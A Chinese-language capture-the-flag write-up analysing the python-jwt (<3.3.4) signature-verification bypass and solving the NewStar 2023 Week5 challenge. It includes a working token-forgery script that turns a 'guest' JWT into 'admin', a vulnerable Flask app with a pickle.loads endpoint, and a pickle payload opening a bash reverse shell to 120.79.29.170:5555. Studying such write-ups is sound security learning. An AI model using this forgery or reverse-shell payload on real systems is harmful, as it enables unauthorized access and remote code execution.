文章目录
- 前言
- 影响版本
- 漏洞分析
- Newstar2023 Week5
- 总结
前言
在Asal1n师傅的随口一说之下，说newstar week5出了一道祥云杯一样的CVE，于是自己也是跑去看了一下，确实是自己不知道的一个CVE漏洞，于是就从这道题学习到了python-jwt库中的身份验证绕过漏洞，顺带做了一下简单的代码分析。
影响版本
python-jwt < 3.3.4
漏洞分析
这个漏洞造成的原因更像是库的作者在编写代码的时候疏忽导致的，使得验证的payload内容和返回的payload内容并不是一个payload导致的，下面来简单分析一下。
先给出github上作者漏洞修补的大致payload，利用payload进行测试，如下：
python-jwt库地址
from json import *
from python_jwt import *
from jwcrypto import jwk
payload = {'role': "guest"}
key = jwk.JWK.generate(kty='oct', size=256)
jwt_json = generate_jwt(payload, key, 'HS256', timedelta(minutes=60))
[header, payload, signature] = jwt_json.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['role'] = "admin"
fake = base64url_encode((dumps(parsed_payload,separators=(',', ':'))))#这里separators就是消除了空格，不加似乎也并不影响漏洞。
fake_jwt = '{" ' + header + '.' + fake + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
print(fake_jwt)
token = verify_jwt(fake_jwt, key, ['HS256'])
print(token)
- 首先是刚进入前面的代码。
#判断是否存在可用的签名算法
if allowed_algs is None:
allowed_algs = []
#如果可用的签名算法不是列表，抛出异常
if not isinstance(allowed_algs, list):
# jwcrypto only supports list of allowed algorithms
raise _JWTError('allowed_algs must be a list')
#以.分割jwt的三部分
header, claims, _ = jwt.split('.')
#取出头部分进行base64解码和json解析
parsed_header = json_decode(base64url_decode(header))
#取出头部算法中的alg参数，此处就是PS256，如果为空或算法不允许，则抛出异常
alg = parsed_header.get('alg')
if alg is None:
raise _JWTError('alg header not present')
if alg not in allowed_algs:
raise _JWTError('algorithm not allowed: ' + alg)
#ignore_not_implemented默认就是False，遍历头部的键，是否在被JWS所支持，不支持抛出异常
if not ignore_not_implemented:
for k in parsed_header:
if k not in JWSHeaderRegistry:
raise _JWTError('unknown header: ' + k)
if not JWSHeaderRegistry[k].supported:
raise _JWTError('header not implemented: ' + k)
#对签名进行验证，对jwt进行解析，这里传入的jwt为原始的jwt字段
if pub_key:
token = JWS()
token.allowed_algs = allowed_algs
token.deserialize(jwt, pub_key)
这里的
base64url_decode()是一个用于解码Base64 URL安全编码的函数。
Base64 URL安全编码将标准的Base64编码进行了一些修改，以便在URL中传输时不会产生冲突。
具体而言，它使用"-“替换”+“，使用”_“替换”/“，并且将结尾的”="去除，并且会忽略掉不是base64的字符。
- 进入到
deserialize中对签名进行验证，代码如下：
def deserialize(self, raw_jws, key=None, alg=None):
self.objects = {}
o = {}
try:
try:
#对传入的原始的jwt进行json解析
djws = json_decode(raw_jws)
#判断是否有多个签名，有则取出签名存放到列表当中
if 'signatures' in djws:
o['signatures'] = []
for s in djws['signatures']:
os = self._deserialize_signature(s)
o['signatures'].append(os)
self._deserialize_b64(o, os.get('protected'))
#单个签名的情况，直接从原始的jwt中取出签名字段，并且将protected以及header赋值给o对象返回
else:
o = self._deserialize_signature(djws)
self._deserialize_b64(o, o.get('protected'))#是否继续base64解码
if 'payload' in djws:#解析payload字段
if o.get('b64', True):
o['payload'] = base64url_decode(str(djws['payload']))
else:
o['payload'] = djws['payload']
except ValueError:#如果json解析异常，则直接以. 分割，提取出三个部分分别赋值
c = raw_jws.split('.')
if len(c) != 3:
raise InvalidJWSObject('Unrecognized'
' representation') from None
p = base64url_decode(str(c[0]))
if len(p) > 0:
o['protected'] = p.decode('utf-8')
self._deserialize_b64(o, o['protected'])
o['payload'] = base64url_decode(str(c[1]))
o['signature'] = base64url_decode(str(c[2]))
self.objects = o #将o赋值给objects对象
except Exception as e: # pylint: disable=broad-except
raise InvalidJWSObject('Invalid format') from e
if key:
self.verify(key, alg)#将签名算法和key传入verify函数中
verify()函数如下:
def verify(self, key, alg=None, detached_payload=None):
self.verifylog = []
#默认验证是不通过的
self.objects['valid'] = False
obj = self.objects
missingkey = False
if 'signature' in obj:
payload = self._get_obj_payload(obj, detached_payload)#直接提取出payload部分
#直至这里，传入的解析部分还是原本正常的jwt的字符串，所以_verify也是通过的，将验证生效设置为了true
try:
self._verify(alg, key,
payload,
obj['signature'],
obj.get('protected', None),
obj.get('header', None))
obj['valid'] = True
except Exception as e: # pylint: disable=broad-except
if isinstance(e, JWKeyNotFound):
missingkey = True
self.verifylog.append('Failed: [%s]' % repr(e))
#多个签名的情况
elif 'signatures' in obj:
payload = self._get_obj_payload(obj, detached_payload)
for o in obj['signatures']:
try:
self._verify(alg, key,
payload,
o['signature'],
o.get('protected', None),
o.get('header', None))
# Ok if at least one verifies
obj['valid'] = True
except Exception as e: # pylint: disable=broad-except
if isinstance(e, JWKeyNotFound):
missingkey = True
self.verifylog.append('Failed: [%s]' % repr(e))
else:
raise InvalidJWSSignature('No signatures available')
#如果签名验证不通过，抛出异常
if not self.is_valid:
if missingkey:
raise JWKeyNotFound('No working key found in key set')
raise InvalidJWSSignature('Verification failed for all '
'signatures' + repr(self.verifylog))
这里经过验证码后的token其实是原本正常的jwt，跟伪造的payload还没有关系
- 代码继续往下走
#json解析.分割出来的中间部分，即我们而已构造的payload
parsed_claims = json_decode(base64url_decode(claims))
#获取一些时间参数
utcnow = datetime.utcnow()
now = timegm(utcnow.utctimetuple())
#从header头中获取到类型JWT，并进行一些判断，不为JWT抛出异常
typ = parsed_header.get('typ')
if typ is None:
if not checks_optional:
raise _JWTError('typ header not present')
elif typ != 'JWT':
raise _JWTError('typ header is not JWT')
#从fakepayload中获取到iat的值即时间戳，判断令牌的签发时间是否有效
iat = parsed_claims.get('iat')
if iat is None:
if not checks_optional:
raise _JWTError('iat claim not present')
elif iat > timegm((utcnow + iat_skew).utctimetuple()):
raise _JWTError('issued in the future')
#获取jwt令牌的生效时间，此时是否有效
nbf = parsed_claims.get('nbf')
if nbf is None:
if not checks_optional:
raise _JWTError('nbf claim not present')
elif nbf > now:
raise _JWTError('not yet valid')
# 获取到令牌的过期即有效截止时间，判断令牌是否有效，如果小于现在时间，则过期
exp = parsed_claims.get('exp')
if exp is None:
if not checks_optional:
raise _JWTError('exp claim not present')
elif exp <= now:
raise _JWTError('expired')
# 返回.分割后的头部和中间部分即我们的fakepayload
return parsed_header, parsed_claims
可以看出，在验证令牌的时候使用的是正常的JWT，而返回的却是以
.分割的传入jwt的中间部分和头部，使得解析返回的payload和验证签名的pauload并不是一个payload，导致了身份绕过。
Newstar2023 Week5
题目给了源码如下：
# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)
def generate_random_string(length=16):
characters = string.ascii_letters + string.digits # 包含字母和数字
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():
payload = request.args.get("token")
if payload:
token = verify_jwt(payload, key, ['PS256'])
print(token)
session["role"] = token[1]['role']
return render_template('index.html')
else:
session["role"] = "guest"
user = {"username": "boogipop", "role": "guest"}
jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
return jwt
@app.route("/pickle")
def unser():
if session["role"] == "admin":
pickle.loads(base64.b64decode(request.args.get("pickle")))
return 'success'
else:
return 'fail'
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
题目的思路也是十分简单，通过伪造JWT，使得返回来的fake_payload中第二部分的role和admin，然后进行pickle反序列化即可。
- 利用原题目guest的jwwt直接进行伪造，绕过身份验证
from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode
def topic(topic):
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
print(parsed_payload)
parsed_payload["role"] = "admin"
print(dumps(parsed_payload, separators=(',', ':')))
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
print(fake_payload)
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '
print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTkzNjkyMzcsImlhdCI6MTY5OTM2NTYzNywianRpIjoiTUV0SEJKX1JZeVR3MmhnUmZMcnFsdyIsIm5iZiI6MTY5OTM2NTYzNywicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.nw0s5c4lL0GtUBb7IJTbIhVTE7kzNg7s4l93PrhWZmYKuxWCyZmi7cKWE63Tv3Z6sdUQVp_7IlM8yiY32mNSOwRHCADWllFo18bmlXVri_qdWR-CCVkVi6npIliEBXl_Hbpnh64dCIQuY13-gr0Y412svenGADO-uubqxT3Ml7dlpnaDZ7F06ISkg_m4syc0DQpKKuQv4xFshMYHgaxCCkLpJCMHScIxSjSjoxpD3LnNjYRXgVue8R4TcZ75ZWgaSmkNUmHUrizdTFyi0GVutnaT1Nw4yZKkS5DZxAVUYqcARLUSGvWmt1pZnyny0eR23q7Z8X7Mw-LytE-XfmkAFQ'))
- 这里返回的session就是admin的session
- 触发pickle反序列化，反弹shell
import base64
p=b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/120.79.29.170/5555 0>&1\"'\no"
payload=base64.b64encode(p)
print(payload)
总结
JWT的话题总是不息的，包括一些空认证等，nodejs中的数组绕过等等，漏洞也是频出。
